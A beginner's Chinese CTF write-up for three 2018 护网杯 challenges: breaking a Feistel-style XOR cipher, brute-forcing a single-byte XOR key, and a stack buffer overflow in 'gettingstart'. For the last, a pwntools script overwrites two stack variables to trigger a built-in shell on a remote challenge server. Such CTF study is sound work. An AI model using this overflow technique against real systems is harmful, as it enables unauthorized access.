天天看点

2018护网杯_fez_签到_gettingstartfez签到gettingstart

fez

 题目给了两个文件:

2018护网杯_fez_签到_gettingstartfez签到gettingstart

fez.py:

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)

def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)# new_r = R ^ L ^ K
    return new_l+new_r
def fez(m,K):
    for i in K:#do 7 times
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))

m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")
           

fez.log:

d731a7b0f7fa1da45fc1d00f86128ab1e5f6f093a5af1078e20aafcf3d159d454d6491073a2429e886fdf588ea8a62af220c983c4024
2c9920ccfed9d7b0f0f1873487556212dfe53736139fff846f7a31c32afa37606e7dff8d745a8b7e1072ec56402c5977fa6b9f047f55
8795062cec3a3402d2b6e1847ccda6e6d305df98fc4365932e485ad97b1a00fe11e69a8497806b74ff5dc2e060025262b88785c42ca2
           

 通过观察py文件,看到他是读入了flag,补足到54个长度,然后对flag进行加密,然后最后三个print出来的就在log文件里面。

这里os.urandom(length)作用是生成一个随机内容的,长度为length的字符串。内容包括非可打印。比如

>>> os.urandom(len('asd'))
' \xc1q'
           

 这个方法可以用来生成一些加密算法所需要的密钥。先不用管,反正就是个字符串。

显然,想解出flag必须知道test, K。K是长度为7的list,每个元素对应一个随机字符串。

我们观察fez()函数以及调用方法可以发现,我们得到Ki的组合整体代入就可以。顺着程序流程走,如下表:

2018护网杯_fez_签到_gettingstartfez签到gettingstart

( 等号两边同时异或;a ^ a ^ b = b,相同xor抵消。)

解密就很简单了。求出两个K的整体,然后带入把m解出来,拼接得到flag:

2018护网杯_fez_签到_gettingstartfez签到gettingstart

签到

题目提示easy xor???,下载一个txt

AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs=
           

显然base64, 本来猜测是list元素之间两两异或,尝试无果。最后直接暴力试一下:

import base64

s = 'AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs='
L = list(base64.b64decode(s.encode('utf-8')))

for n in range(1,0xff):#0x66
	s = ''
	for i,a in enumerate(L):
		s += chr(L[i]^n)
	if s[0:4] == 'flag':
		print(hex(n),s)
           

用list()之后元素为10进制格式。

L = [0x00,0x0a,0x07,0x01,0x1d,0x53,0x27,0x57,0x25,0x50,0x56,0x23,0x55,0x24,0x51,0x57,0x57,0x27,0x22,0x25,0x22,

    0x57,0x50,0x5e,0x50,0x53,0x5e,0x22,0x50,0x57,0x23,0x50,0x55,0x23,0x55,0x25,0x50,0x1b] 

0x66 flag{5A1C60E3B711ADCD168658D61E63E3C6}
           

成功。 

gettingstart

file一下发现是64bit。先运行一下

2018护网杯_fez_签到_gettingstartfez签到gettingstart

拖进IDA:

进到main函数

2018护网杯_fez_签到_gettingstartfez签到gettingstart

自己带后门/bin/sh了,所以我们能让if里面的值为false就可以了。

找到漏洞位置:read(0, &buf, 0x28uLL); 向buf这个数组读入了长度为0x28的数据,而通过观察

2018护网杯_fez_签到_gettingstartfez签到gettingstart

 栈帧向下往高地址生长,buf到v7的偏移只有0x18,到v8的偏移只有0x20,所以我们可以覆盖掉v7,v8的值,v7 == 0x7FFFFFFFFFFFFFFF,v8 == 0.1

这里有个问题,对于64位下的double 0.1在内存中的存储形式。这里用了个笨方法

2018护网杯_fez_签到_gettingstartfez签到gettingstart

怪尴尬的。。其实一开始是在windows上写的,输出了个这玩意

2018护网杯_fez_签到_gettingstartfez签到gettingstart

这是错误的。

于是linux继续写:

2018护网杯_fez_签到_gettingstartfez签到gettingstart

gcc之后再gdb看

2018护网杯_fez_签到_gettingstartfez签到gettingstart

rbp-0x8的位置,所以0.1就是0x3fb999999999999a

(对于上述方法,各路dalao有好办法的请多多指教)

继续看IDA,因为v5,v6都是0,所以buf直接合并成数组:

2018护网杯_fez_签到_gettingstartfez签到gettingstart

buf在rsp+0x10位置,新的v5在rsp+0x28的位置,offset为0x18,所以填0x18个字符到buf里之后可以p64写入目标值。 

编写payload脚本:

from pwn import *

LOCAL = False
def main():
	if LOCAL:
		p = process('./task_gettingStart_ktQeERc')
	else:
		p = remote('49.4.79.120','30434')
	payload = 'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
	p.sendline(payload)
	p.interactive()

if __name__ == '__main__':
	main()
           
2018护网杯_fez_签到_gettingstartfez签到gettingstart

得到flag。

新手做题,写的有点啰嗦,见谅!

ctf